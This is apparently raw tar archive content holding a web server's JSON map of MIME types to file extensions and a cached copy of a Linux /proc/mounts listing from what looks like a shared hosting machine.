SYSTEMMIME 0000600 00000066614 15105745077 0006203 0 ustar 00 {"application/vnd.chipnuts.karaoke-mmd":"mmd","application/vnd.openxmlformats-officedocument.presentationml.presentation":"pptx","application/x-research-info-systems":"ris","application/vnd.ms-lrm":"lrm","application/vnd.claymore":"cla","text/tab-separated-values":"tsv","application/x-tgif":"obj","application/x-img":"img","application/vnd.sailingtracker.track":"st","application/x-abiword":"abw","application/vnd.xfdl":"xfdl","video/x-ms-asf":"asf asx","application/cdmi-capability":"cdmia","application/vnd.simtech-mindmapper":"twd twds","application/vnd.frogans.fnc":"fnc","video/h261":"h261","application/wasm":"wasm","video/vnd.dece.pd":"uvp uvvp","video/x-ms-wmv":"wmv","text/vnd.curl.mcurl":"mcurl","image/vnd.wap.wbmp":".wbmp wbmp","application/vnd.zzazz.deck+xml":"zaz","image/x-portable-bitmap":"pbm","text/x-sfv":"sfv","audio/vnd.nuera.ecelp4800":"ecelp4800","image/ief":"ief","application/vnd.oasis.opendocument.text-template":"ott","image/vnd.dvb.subtitle":"sub","application/vnd.las.las+xml":"lasxml","application/vnd.bmi":"bmi","application/vnd.blueice.multipass":"mpm","application/x-envoy":"evy","application/vnd.hp-hpgl":"hpgl","application/vnd.powerbuilder6":"pbd","application/marcxml+xml":"mrcx","application/x-chat":"chat","application/metalink4+xml":"meta4","application/ruby":"rb","application/pkixcmp":"pki","application/msword":"doc dot","application/x-authorware-map":"aam","application/vnd.neurolanguage.nlu":"nlu","application/vnd.astraea-software.iota":"iota","application/vnd.google-earth.kmz":"kmz","application/vnd.dece.zip":"uvvz uvz","application/xop+xml":"xop","application/vnd.jam":"jam","application/octet-stream":"bin bpk deploy dist distz dmg dms dump elc iso lrf mar pkg so","image/webp":"webp","application/vnd.yamaha.hv-voice":"hvp","application/vnd.wap.wbxml":"wbxml","application/vnd.dece.ttml+xml":"uvt uvvt","application/vnd.oasis.opendocument.text-master":"odm","text/vnd.fly":"fly","application/vnd.ms-officetheme":"thmx","application/x-install-instructions":"install","application/smil+xml":"smi smil","application/xaml+xml":"xaml","application/atomcat+xml":"atomcat","application/emma+xml":"emma","application/vnd.realvnc.bed":"bed","application/x-msschedule":"scd","application/pkix-cert":"cer","text/vnd.sun.j2me.app-descriptor":"jad","application/vnd.vsf":"vsf","application/rss+xml":"rss","application/vnd.igloader":"igl","application/vnd.oasis.opendocument.chart":"odc","audio/ogg":"oga ogg opus spx","application/vnd.ms-powerpoint.template.macroenabled.12":"potm","application/vnd.xara":"xar","application/vnd.stardivision.writer-global":"sgl","application/vnd.dece.unspecified":"uvvx uvx","chemical/x-cif":"cif","image/x-xbitmap":"xbm","audio/mp4":"m4a m4p mp4 mp4a","application/scvp-vp-response":"spp","application/sru+xml":"sru","application/x-httpd-ea-php74":"php php7","application/vnd.kde.kspread":"ksp","application/vnd.genomatix.tuxedo":"txd","application/vnd.cosmocaller":"cmc","image/vnd.net-fpx":"npx","application/tei+xml":"tei teicorpus","video/h263":"h263","application/x-dtbook+xml":"dtb","image/cgm":"cgm","application/vnd.fujitsu.oasys":"oas","application/x-sh":"sh","application/mads+xml":"mads","application/srgs":"gram","application/vnd.kde.karbon":"karbon","application/davmount+xml":"davmount","video/vnd.mpegurl":"m4u mxu","application/x-msaccess":"mdb","application/vnd.shana.informed.formdata":"ifm","application/vnd.clonk.c4group":"c4d c4f c4g c4p c4u","audio/x-aac":"aac","image/x-pict":"pct pic","application/x-msbinder":"obd","text/x-nfo":"nfo","model/x3d+vrml":"x3dv x3dvz","application/sparql-query":"rq","application/xproc+xml":"xpl","application/java-archive":"jar","audio/webm":"weba","application/vnd.ms-fontobject":"eot","application/vnd.mfmp":"mfm","application/vnd.aristanetworks.swi":"swi","application/patch-ops-error+xml":"xer","text/x-setext":"etx","application/xslt+xml":"xslt","application/x-shar":"shar","application/rpki-roa":"roa","application/vnd.americandynamics.acc":"acc","application/vnd.google-earth.kml+xml":"kml","application/vnd.syncml.dm+wbxml":"bdm","application/pkcs7-mime":"p7c p7m","application/omdoc+xml":"omdoc","application/vnd.apple.installer+xml":"mpkg","audio/xm":"xm","application/vnd.smaf":"mmf","application/vnd.ibm.minipay":"mpy","application/vnd.sun.xml.draw.template":"std","application/x-conference":"nsc","application/vnd.tcpdump.pcap":"cap dmp pcap","video/x-flv":"flv","application/vnd.jisp":"jisp","audio/vnd.dra":"dra","application/x-httpd-ea-php56":"php php5","application/vnd.stardivision.impress":"sdd","image/svg+xml":"svg svgz","audio/x-ms-wma":"wma","application/vnd.rn-realmedia":"rm","application/vnd.yellowriver-custom-menu":"cmp","application/reginfo+xml":"rif","application/x-font-type1":"afm pfa pfb pfm","chemical/x-xyz":"xyz","application/mp21":"m21 mp21","video/x-matroska":"mk3d mks mkv","application/shf+xml":"shf","text/vnd.curl.scurl":"scurl","application/vnd.sun.xml.draw":"sxd","application/vnd.groove-help":"ghf","application/x-msdownload":"bat com dll exe msi","application/x-silverlight-app":"xap","application/vnd.mif":"mif","application/vnd.cups-ppd":"ppd","video/x-mng":"mng","application/x-bittorrent":"torrent","application/x-t3vm-image":"t3","application/mods+xml":"mods","application/x-font-bdf":"bdf","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":"xlsx","application/vnd.ms-excel.addin.macroenabled.12":"xlam","application/x-lzh-compressed":"lha lzh","image/x-cmx":"cmx","application/pgp-encrypted":"pgp","image/x-freehand":"fh fh4 fh5 fh7 fhc","image/x-portable-anymap":"pnm","application/vnd.hydrostatix.sof-data":"sfd-hdstx","chemical/x-cml":"cml","application/vnd.osgi.subsystem":"esa","application/vnd.groove-vcard":"vcg","text/turtle":"ttl","application/vnd.pawaafile":"paw","image/x-3ds":"3ds","application/prs.cww":"cww","application/x-compress":".Z","application/vnd.fsc.weblaunch":"fsc","text/x-c":"c cc cpp cxx dic h hh","application/vnd.pg.osasli":"ei6","application/vnd.isac.fcs":"fcs","text/x-vcalendar":"vcs","application/vnd.intergeo":"i2g","application/inkml+xml":"ink inkml","application/vnd.stepmania.stepchart":"sm","image/x-mrsid-image":"sid","application/vnd.mseq":"mseq","application/x-ms-shortcut":"lnk","application/x-gzip":".gz .tgz tgz","application/vnd.visio":"vsd vss vst vsw","image/vnd.djvu":"djv djvu","application/vnd.mobius.msl":"msl","video/x-ms-wm":"wm","application/vnd.oasis.opendocument.presentation":"odp","image/x-pcx":"pcx","application/vnd.mobius.plc":"plc","application/vnd.oasis.opendocument.image-template":"oti","application/vnd.dece.data":"uvd uvf uvvd uvvf","application/vnd.commonspace":"csp","application/xhtml+xml":"xht xhtml","application/x-ms-xbap":"xbap","application/x-cfs-compressed":"cfs","application/vnd.curl.pcurl":"pcurl","application/x-cdlink":"vcd","application/vnd.cluetrust.cartomobile-config-pkg":"c11amz","application/vnd.uiq.theme":"utz","text/vnd.curl":"curl","audio/vnd.lucent.voice":"lvp","application/x-mobipocket-ebook":"mobi prc","video/x-fli":"fli","application/vnd.ctc-posml":"pml","text/x-registry":"reg","application/vnd.pocketlearn":"plf","application/vnd.oasis.opendocument.image":"odi","application/cu-seeme":"cu","application/vnd.lotus-screencam":"scm","application/vnd.sun.xml.writer.template":"stw","application/vnd.ms-works":"wcm wdb wks wps","application/vnd.novadigm.edm":"edm","audio/x-mpegurl":"m3u","application/relax-ng-compact-syntax":"rnc","application/scvp-vp-request":"spq","image/gif":"gif","application/x-authorware-seg":"aas","application/rpki-manifest":"mft","application/vnd.crick.clicker.wordbank":"clkw","text/vcard":"vcard","image/vnd.dece.graphic":"uvg uvi uvvg uvvi","application/rsd+xml":"rsd","application/x-cbr":"cb7 cba cbr cbt cbz","video/jpeg":"jpgv","application/vnd.symbian.install":"sis sisx","application/vnd.ipunplugged.rcprofile":"rcprofile","application/vnd.recordare.musicxml":"mxl","video/3gpp":"3gp","audio/s3m":"s3m","application/x-pkcs7-certreqresp":"p7r","audio/basic":"au snd","application/vnd.sun.xml.writer.global":"sxg","application/x-freearc":"arc","image/vnd.fujixerox.edmics-mmr":"mmr","application/vnd.mophun.application":"mpn","audio/x-flac":"flac","application/thraud+xml":"tfi","application/vnd.fujixerox.docuworks.binder":"xbd","application/vnd.ahead.space":"ahead","application/x-msclip":"clp","application/x-mscardfile":"crd","text/x-asm":"asm s","application/x-xpinstall":"xpi","application/vnd.epson.salt":"slt","text/x-config":"cnf conf","application/x-httpd-ea-php54":"php php5","application/vnd.ibm.rights-management":"irm","application/pgp-signature":"asc sig","application/x-httpd-php-source":"phps","application/vnd.novadigm.ext":"ext","application/vnd.syncml+xml":"xsm","application/vnd.kde.kontour":"kon","application/ogg":"ogx","application/postscript":"ai eps ps","application/xml-dtd":"dtd","text/x-sql":"sql","application/vnd.olpc-sugar":"xo","application/vnd.ms-excel.sheet.binary.macroenabled.12":"xlsb","application/vnd.lotus-wordpro":"lwp","application/vnd.sun.xml.calc":"sxc","application/vnd.ms-ims":"ims","video/vnd.fvt":"fvt","application/exi":"exi","application/vnd.geospace":"g3w","application/vnd.hhe.lesson-player":"les","image/vnd.dxf":"dxf","application/vnd.ms-word.template.macroenabled.12":"dotm","application/x-font-ghostscript":"gsf","application/vnd.dvb.service":"svc","application/vnd.stardivision.math":"smf","application/vnd.dart":"dart","application/x-sql":"sql","video/x-smv":"smv","image/x-rgb":"rgb","application/x-x509-ca-cert":".crt crt der","application/vnd.ms-word.document.macroenabled.12":"docm","video/vnd.uvvu.mp4":"uvu uvvu","application/x-dtbresource+xml":"res","application/x-java-jnlp-file":"jnlp","application/x-apple-diskimage":"dmg","application/vnd.medcalcdata":"mc1","application/x-latex":"latex","application/winhlp":"hlp","font/woff":"woff","application/vnd.musician":"mus","application/vnd.adobe.xfdf":"xfdf","application/x-cpio":"cpio","application/vnd.fujitsu.oasys2":"oa2","application/vnd.oasis.opendocument.graphics-template":"otg","application/vnd.openofficeorg.extension":"oxt","application/x-doom":"wad","text/x-log":"log","application/vnd.chemdraw+xml":"cdxml","application/scvp-cv-request":"scq","application/x-stuffit":"sit","application/vnd.triscape.mxs":"mxs","application/rtf":"rtf","application/vnd.shana.informed.interchange":"iif","application/vnd.macports.portpkg":"portpkg","application/x-httpd-ea-php80":"php php8","application/rls-services+xml":"rs","application/oda":"oda","application/vnd.immervision-ivu":"ivu","text/csv":"csv","application/pskc+xml":"pskcxml","image/tiff":"tif tiff","application/x-tcl":"tcl","image/sgi":"sgi","image/x-portable-graymap":"pgm","application/vnd.wt.stf":"stf","application/x-subrip":"srt","application/vnd.hp-hpid":"hpid","application/mets+xml":"mets","video/x-sgi-movie":"movie","application/vnd.groove-tool-template":"tpl","application/x-tads":"gam","application/vnd.fujixerox.docuworks":"xdw","application/vnd.businessobjects":"rep","application/x-ms-wmd":"wmd","application/vnd.muvee.style":"msty","application/vnd.intu.qfx":"qfx","application/vnd.tao.intent-module-archive":"tao","application/vnd.oasis.opendocument.text":"odt","application/vnd.accpac.simply.imp":"imp","application/scvp-cv-response":"scs","font/woff2":"woff2","application/vnd.adobe.xdp+xml":"xdp","model/vrml":"vrml wrl","application/vnd.hp-jlyt":"jlt","video/vnd.ms-playready.media.pyv":"pyv","application/marc":"mrc","video/jpm":"jpgm jpm","application/pics-rules":"prf","application/x-tex-tfm":"tfm","application/cdmi-domain":"cdmid","text/vnd.curl.dcurl":"dcurl","application/vnd.micrografx.flo":"flo","application/vnd.dynageo":"geo","application/vnd.ms-powerpoint.addin.macroenabled.12":"ppam","video/quicktime":"mov qt","audio/vnd.rip":"rip","font/otf":"otf","application/vnd.kde.kword":"kwd kwt","application/vnd.yamaha.smaf-audio":"saf","application/vnd.ms-pki.seccat":"cat","image/vnd.ms-photo":"wdp","application/vnd.geogebra.file":"ggb","video/vnd.dece.video":"uvv uvvv","application/x-httpd-ea-php55":"php php5","image/avif":"avif","application/vnd.spotfire.dxp":"dxp","application/wspolicy+xml":"wspolicy","application/vnd.hp-pcl":"pcl","application/vnd.dreamfactory":"dfac","application/vnd.epson.ssf":"ssf","application/x-hdf":"hdf","image/ktx":"ktx","application/vnd.yamaha.smaf-phrase":"spf","audio/x-ms-wax":"wax","application/resource-lists-diff+xml":"rld","application/vnd.enliven":"nml","application/vnd.nokia.n-gage.data":"ngdat","application/vnd.adobe.formscentral.fcdt":"fcdt","application/vnd.noblenet-web":"nnw","application/vnd.immervision-ivp":"ivp","application/vnd.ufdl":"ufd ufdl","image/vnd.fst":"fst","application/vnd.ms-powerpoint.slide.macroenabled.12":"sldm","application/vnd.jcp.javame.midlet-rms":"rms","application/vnd.amazon.ebook":"azw","application/vnd.frogans.ltf":"ltf","application/vnd.hal+xml":"hal","image/g3fax":"g3","application/vnd.mediastation.cdkey":"cdkey","application/vnd.fluxtime.clip":"ftc","application/vnd.ms-powerpoint.presentation.macroenabled.12":"pptm","application/vnd.proteus.magazine":"mgz","application/vnd.stardivision.writer":"sdw vor","application/vnd.fujitsu.oasysprs":"bh2","application/vnd.geogebra.slides":"ggs","application/vnd.airzip.filesecure.azf":"azf","text/vnd.graphviz":"gv","application/xenc+xml":"xenc","application/vnd.shana.informed.formtemplate":"itp","chemical/x-cmdf":"cmdf","image/x-tga":"tga","video/mpeg":"m1v m2v mpe mpeg mpg","video/3gpp2":"3g2","video/vnd.dece.mobile":"uvm uvvm","application/x-pkcs12":"p12 pfx","application/vnd.framemaker":"book fm frame maker","application/vnd.epson.quickanime":"qam","application/vnd.fujixerox.ddd":"ddd","application/vnd.trid.tpt":"tpt","application/vnd.pmi.widget":"wg","application/vnd.nokia.radio-presets":"rpss","application/vnd.oasis.opendocument.chart-template":"otc","application/x-httpd-ea-php73":"php php7","application/vnd.kinar":"kne knp","application/vnd.crick.clicker.palette":"clkp","application/vnd.nokia.radio-preset":"rpst","image/vnd.fpx":"fpx","application/vnd.osgeo.mapguide.package":"mgp","application/vnd.openxmlformats-officedocument.presentationml.slideshow":"ppsx","application/x-font-linux-psf":"psf","image/x-cmu-raster":"ras","image/prs.btif":"btif","application/vnd.contact.cmsg":"cdbcmsg","application/vnd.llamagraphics.life-balance.desktop":"lbd","model/x3d+xml":"x3d x3dz","application/vnd.oasis.opendocument.presentation-template":"otp","image/x-icon":"ico","model/vnd.collada+xml":"dae","text/vnd.in3d.spot":"spot","application/x-dtbncx+xml":"ncx","application/java-vm":"class","application/cgi":"cgi","video/webm":"webm","application/vnd.lotus-notes":"nsf","application/vnd.yamaha.hv-dic":"hvd","application/vnd.kodak-descriptor":"sse","application/voicexml+xml":"vxml","application/pls+xml":"pls","application/docbook+xml":"dbk","application/vnd.cluetrust.cartomobile-config":"c11amc","application/vnd.trueapp":"tra","image/vnd.dwg":"dwg","audio/x-matroska":"mka","image/vnd.fastbidsheet":"fbs","application/epub+zip":"epub","application/x-glulx":"ulx","application/xml":"xml xsl","application/mediaservercontrol+xml":"mscml","video/x-ms-wvx":"wvx","application/vnd.uoml+xml":"uoml","application/xspf+xml":"xspf","application/pkix-pkipath":"pkipath","application/vnd.lotus-organizer":"org","application/x-dvi":"dvi","text/css":"css","application/vnd.noblenet-sealer":"nns","text/vbscript":"vbs","application/mp4":"mp4s","application/vnd.ecowin.chart":"mag","image/x-portable-pixmap":"ppm","audio/adpcm":"adp","application/vnd.rig.cryptonote":"cryptonote","application/vnd.groove-identity-message":"gim","application/x-zmachine":"z1 z2 z3 z4 z5 z6 z7 z8","application/oxps":"oxps","text/x-opml":"opml","application/vnd.fdf":"fdf","application/vnd.wap.wmlscriptc":".wmlsc wmlsc","video/x-m4v":"m4v","x-conference/x-cooltalk":"ice","application/x-sv4crc":"sv4crc","application/vnd.mfer":"mwf","application/vnd.intercon.formnet":"xpw xpx","video/vnd.dvb.file":"dvb","application/ssml+xml":"ssml","application/x-msmetafile":"emf emz wmf wmz","application/vnd.kde.kformula":"kfo","application/vnd.3gpp.pic-bw-large":"plb","application/vnd.tmobile-livetv":"tmo","application/vnd.sun.xml.writer":"sxw","audio/x-wav":"wav","application/x-msterminal":"trm","application/cdmi-container":"cdmic","image/png":"png","application/x-httpd-ea-php71":"php php7","text/prs.lines.tag":"dsc","application/vnd.umajin":"umj","application/vnd.sus-calendar":"sus susp","text/x-uuencode":"uu","audio/x-caf":"caf","application/vnd.vcx":"vcx","application/vnd.3gpp2.tcap":"tcap","video/vnd.vivo":"viv","application/vnd.pg.format":"str","application/xv+xml":"mxml xhvml xvm xvml","application/vnd.quark.quarkxpress":"qwd qwt qxb qxd qxl qxt","model/mesh":"mesh msh silo","application/vnd.ezpix-album":"ez2","application/vnd.llamagraphics.life-balance.exchange+xml":"lbe","application/wsdl+xml":"wsdl","application/x-xz":"xz","application/vnd.iccprofile":"icc icm","text/x-fortran":"f f77 f90 for","application/x-bcpio":"bcpio","image/vnd.adobe.photoshop":"psd","application/vnd.openxmlformats-officedocument.presentationml.template":"potx","application/vnd.stardivision.calc":"sdc","video/vnd.dece.hd":"uvh uvvh","application/vnd.syncml.dm+xml":"xdm","application/vnd.ds-keypoint":"kpxx","application/vnd.sun.xml.math":"sxm","application/x-ace-compressed":"ace","application/vnd.kenameaapp":"htke","application/vnd.kde.kchart":"chrt","application/xcap-diff+xml":"xdf","text/x-pascal":"p pas","application/x-ustar":"ustar","application/vnd.lotus-approach":"apr","application/vnd.smart.teacher":"teacher","text/sgml":"sgm sgml","application/vnd.yamaha.hv-script":"hvs","application/vnd.ibm.secure-container":"sc","text/calendar":"ics ifb","application/pdf":"pdf","application/vnd.kahootz":"ktr ktz","application/vnd.ms-excel":"xla xlc xlm xls xlt xlw","video/vnd.dece.sd":"uvs uvvs","application/set-registration-initiation":"setreg","application/x-font-snf":"snf","application/font-tdpfr":"pfr","application/x-mspublisher":"pub","application/vnd.ms-pki.stl":"stl","application/vnd.crick.clicker.keyboard":"clkk","application/x-gramps-xml":"gramps","application/vnd.irepository.package+xml":"irp","application/gml+xml":"gml","application/x-shockwave-flash":"swf","application/pkix-attr-cert":"ac","application/vnd.semd":"semd","application/x-texinfo":"texi texinfo","application/vnd.kidspiration":"kia","application/x-7z-compressed":"7z","application/vnd.nitf":"nitf ntf","application/vnd.unity":"unityweb","video/x-ms-wmx":"wmx","application/timestamped-data":"tsd","application/vnd.rn-realmedia-vbr":"rmvb","application/vnd.3m.post-it-notes":"pwn","application/vnd.sema":"sema","application/ipfix":"ipfix","text/richtext":"rtx","application/perl":"perl pl plx pm ppl","application/vnd.oasis.opendocument.spreadsheet":"ods","application/vnd.antix.game-component":"atx","application/x-bzip":"bz tbz","application/vnd.dvb.ait":"ait","application/vnd.anser-web-funds-transfer-initiation":"fti","application/vnd.groove-account":"gac","application/pkcs8":"p8","application/vnd.fujitsu.oasysgp":"fg5","application/x-gca-compressed":"gca","video/h264":"h264","application/x-xliff+xml":"xlf","application/vnd.adobe.fxp":"fxp fxpl","application/vnd.micrografx.igx":"igx","application/x-httpd-ea-php70":"php php7","application/x-netcdf":"cdf nc","application/vnd.koan":"skd skm skp skt","application/x-nzb":"nzb","application/sbml+xml":"sbml","application/mathematica":"ma mb nb","application/vnd.fujitsu.oasys3":"oa3","video/ogg":"ogv","application/vnd.mynfc":"taglet","application/x-mie":"mie","model/vnd.dwf":"dwf","image/vnd.xiff":"xif","application/vnd.cloanto.rp9":"rp9","text/vnd.wap.wml":".wml wml","application/vnd.yamaha.openscoreformat":"osf","application/x-futuresplash":"spl","application/vnd.data-vision.rdz":"rdz","application/vnd.spotfire.sfs":"sfs","application/x-debian-package":"deb udeb","application/x-font-pcf":"pcf","application/vnd.oasis.opendocument.graphics":"odg","image/x-xwindowdump":"xwd","video/mp4":"mp4 mp4v mpg4","application/vnd.fdsn.mseed":"mseed","application/gxf":"gxf","application/vnd.semf":"semf","application/vnd.airzip.filesecure.azs":"azs","application/onenote":"onepkg onetmp onetoc onetoc2","application/vnd.shana.informed.package":"ipk","application/vnd.openxmlformats-officedocument.spreadsheetml.template":"xltx","application/vnd.ms-excel.template.macroenabled.12":"xltm","application/vnd.seemail":"see","application/x-iso9660-image":"iso","application/vnd.ms-artgalry":"cil","application/applixware":"aw","application/dssc+der":"dssc","application/vnd.dolby.mlp":"mlp","application/json":"json","audio/x-pn-realaudio":"ra ram","application/x-blorb":"blb blorb","application/vnd.ezpix-package":"ez3","application/vnd.kde.kivio":"flw","text/vnd.in3d.3dml":"3dml","application/pkcs10":"p10","application/vnd.acucorp":"acutc atc","application/vnd.kde.kpresenter":"kpr kpt","text/vnd.wap.wmlscript":".wmls wmls","text/troff":"man me ms roff t tr","application/mathml+xml":"mathml","application/ecmascript":"ecma","application/vnd.wolfram.player":"nbp","application/vnd.oasis.opendocument.formula-template":"odft","application/vnd.palm":"oprc pdb pqa","application/vnd.mcd":"mcd","application/vnd.ms-powerpoint.slideshow.macroenabled.12":"ppsm","application/vnd.openxmlformats-officedocument.presentationml.slide":"sldx","application/vnd.zul":"zir zirz","application/vnd.dpgraph":"dpg","image/vnd.fujixerox.edmics-rlc":"rlc","application/x-ms-application":"application","application/sparql-results+xml":"srx","audio/vnd.ms-playready.media.pya":"pya","application/cdmi-object":"cdmio","application/vnd.webturbo":"wtb","application/x-dgc-compressed":"dgc","model/vnd.gtw":"gtw","application/vnd.3gpp.pic-bw-var":"pvb","application/vnd.epson.msf":"msf","model/vnd.vtu":"vtu","text/cache-manifest":"appcache","text/vnd.dvb.subtitle":"sub","application/x-wais-source":"src","application/vnd.oasis.opendocument.text-web":"oth","application/mxf":"mxf","application/vnd.mobius.dis":"dis","application/vnd.oma.dd2+xml":"dd2","application/pkix-crl":"crl","application/x-tar":".tgz tar","audio/x-aiff":"aif aifc aiff","application/x-chess-pgn":"pgn","application/vnd.crick.clicker":"clkx","application/vnd.dna":"dna","text/plain":"conf def in list log text txt","application/vnd.oasis.opendocument.formula":"odf","application/rpki-ghostbusters":"gbr","application/vnd.denovo.fcselayout-link":"fe_launch","text/x-java-source":"java","application/mac-binhex40":"hqx","application/vnd.geogebra.tool":"ggt","application/vnd.publishare-delta-tree":"qps","application/vnd.svd":"svd","image/x-xpixmap":"xpm","application/vnd.groove-injector":"grv","application/mac-compactpro":"cpt","application/vnd.is-xpr":"xpr","application/vnd.accpac.simply.aso":"aso","application/x-msmoney":"mny","image/bmp":"bmp","application/vnd.openxmlformats-officedocument.wordprocessingml.template":"dotx","application/vnd.cinderella":"cdy","application/vnd.grafeq":"gqf gqs","application/vnd.geometry-explorer":"gex gre","text/vnd.fmi.flexstor":"flx","application/vnd.lotus-1-2-3":"123","application/vnd.mobius.txf":"txf","application/gpx+xml":"gpx","application/vnd.ms-excel.sheet.macroenabled.12":"xlsm","audio/x-pn-realaudio-plugin":"rmp","application/vnd.mozilla.xul+xml":"xul","font/collection":"ttc","application/vnd.audiograph":"aep","application/vnd.recordare.musicxml+xml":"musicxml","application/andrew-inset":"ez","application/cdmi-queue":"cdmiq","application/vnd.stardivision.draw":"sda","application/vnd.anser-web-certificate-issue-initiation":"cii","application/vnd.mobius.daf":"daf","application/x-pkcs7-crl":".crl","application/vnd.insors.igm":"igm","application/vnd.wap.wmlc":".wmlc wmlc","application/vnd.pvi.ptid1":"ptid","application/pkcs7-signature":"p7s","audio/vnd.dece.audio":"uva uvva","audio/midi":"kar mid midi rmi","application/vnd.3gpp.pic-bw-small":"psb","audio/vnd.nuera.ecelp9600":"ecelp9600","application/vnd.lotus-freelance":"pre","chemical/x-csml":"csml","application/vnd.openxmlformats-officedocument.wordprocessingml.document":"docx","application/x-gtar":"gtar","application/x-sv4cpio":"sv4cpio","application/vnd.eszigno3+xml":"es3 et3","audio/mpeg":"m2a m3a mp2 mp2a mp3 mpga","application/vnd.criticaltools.wbs+xml":"wbs","image/jpeg":"jpe jpeg jpg","application/vnd.oasis.opendocument.spreadsheet-template":"ots","text/x-vcard":"vcf","application/vnd.hbci":"hbci","application/vnd.joost.joda-archive":"joda","application/set-payment-initiation":"setpay","application/vnd.fdsn.seed":"dataless seed","application/vnd.hp-hps":"hps","application/vnd.rim.cod":"cod","application/atomsvc+xml":"atomsvc","application/x-pkcs7-certificates":"p7b spc","application/widget":"wgt","application/metalink+xml":"metalink","application/x-rar-compressed":"rar","application/yang":"yang","application/vnd.ms-wpl":"wpl","application/vnd.curl.car":"car","application/vnd.yamaha.openscoreformat.osfpvg+xml":"osfpvg","application/vnd.ms-powerpoint":"pot pps ppt","image/vnd.ms-modi":"mdi","text/uri-list":"uri uris urls","text/html":".shtml htm html shtml","application/atom+xml":"atom","application/vnd.ms-project":"mpp mpt","image/jxl":"jxl","application/hyperstudio":"stk","application/lost+xml":"lostxml","application/x-csh":"csh","application/oebps-package+xml":"opf","application/yin+xml":"yin","text/n3":"n3","application/vnd.geonext":"gxt","model/vnd.gdl":"gdl","application/vnd.picsel":"efif","video/x-f4v":"f4v","application/x-msmediaview":"m13 m14 mvb","application/vnd.ms-cab-compressed":"cab","application/jsonml+json":"jsonml","application/vnd.wqd":"wqd","application/vnd.mobius.mbk":"mbk","application/vnd.amiga.ami":"ami","application/vnd.intu.qbo":"qbo","application/srgs+xml":"grxml","application/vnd.apple.mpegurl":"m3u8","application/vnd.sun.xml.calc.template":"stc","application/x-director":"cct cst cxt dcr dir dxr fgd swa w3d","application/vnd.nokia.n-gage.symbian.install":"n-gage","application/vnd.route66.link66+xml":"link66","audio/vnd.nuera.ecelp7470":"ecelp7470","application/dssc+xml":"xdssc","application/vnd.novadigm.edx":"edx","application/vnd.oasis.opendocument.database":"odb","application/vnd.gmx":"gmx","video/x-ms-vob":"vob","application/ccxml+xml":"ccxml","text/javascript":"js mjs","audio/vnd.dts":"dts","model/iges":"iges igs","application/vnd.fuzzysheet":"fzs","message/rfc822":"eml mime","video/x-msvideo":"avi","application/x-ms-wmz":"wmz","application/java-serialized-object":"ser","application/vnd.osgi.dp":"dp","application/vnd.previewsystems.box":"box","application/vnd.crick.clicker.template":"clkt","application/rdf+xml":"rdf","application/x-stuffitx":"sitx","audio/vnd.dts.hd":"dtshd","application/vnd.visionary":"vis","application/vnd.sun.xml.impress":"sxi","application/vnd.mobius.mqy":"mqy","application/x-xfig":"fig","application/vnd.groove-tool-message":"gtm","audio/vnd.digital-winds":"eol","application/vnd.ms-xpsdocument":"xps","video/mj2":"mj2 mjp2","application/vnd.adobe.air-application-installer-package+zip":"air","video/mp2t":"m2t m2ts mts ts","application/vnd.noblenet-directory":"nnd","application/vnd.geoplan":"g2w","application/resource-lists+xml":"rl","application/x-eva":"eva","application/vnd.epson.esf":"esf","application/sdp":"sdp","application/x-mswrite":"wri","application/vnd.sun.xml.impress.template":"sti","application/x-gnumeric":"gnumeric","application/vnd.ms-htmlhelp":"chm","model/x3d+binary":"x3db x3dbz","application/vnd.android.package-archive":"apk","application/x-tex":"tex","application/vnd.ibm.modcap":"afp list3820 listafp","application/vnd.flographit":"gph","application/x-authorware-bin":"aab u32 vox x32","application/vnd.mophun.certificate":"mpc","application/vnd.solent.sdkm+xml":"sdkd sdkm","application/vnd.acucobol":"acu","application/ssdl+xml":"ssdl","application/vnd.handheld-entertainment+xml":"zmm","application/zip":"zip","font/ttf":"ttf","chemical/x-cdx":"cdx","application/vnd.stepmania.package":"smzip","application/vnd.wordperfect":"wpd","audio/silk":"sil","application/x-httpd-ea-php72":"php php7","application/vnd.hp-pclxl":"pclxl","application/mbox":"mbox"} MOUNTS_CACHE__proc_mounts 0000600 00000005062 15105745077 0011174 0 ustar 00 sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime,gid=1002,hidepid=2 0 0
devtmpfs /dev devtmpfs rw,nosuid,size=40889644k,nr_inodes=10222411,mode=755 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,nodev,mode=755 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
bpf /sys/fs/bpf bpf rw,nosuid,nodev,noexec,relatime,mode=700 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/rdma cgroup rw,nosuid,nodev,noexec,relatime,rdma 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
configfs /sys/kernel/config configfs rw,relatime 0 0
/dev/md127 / ext4 rw,relatime,stripe=256,jqfmt=vfsv1,usrjquota=quota.user 0 0
none /var/lve/dbgovernor-shm tmpfs rw,nosuid,nodev,relatime,mode=777 0 0
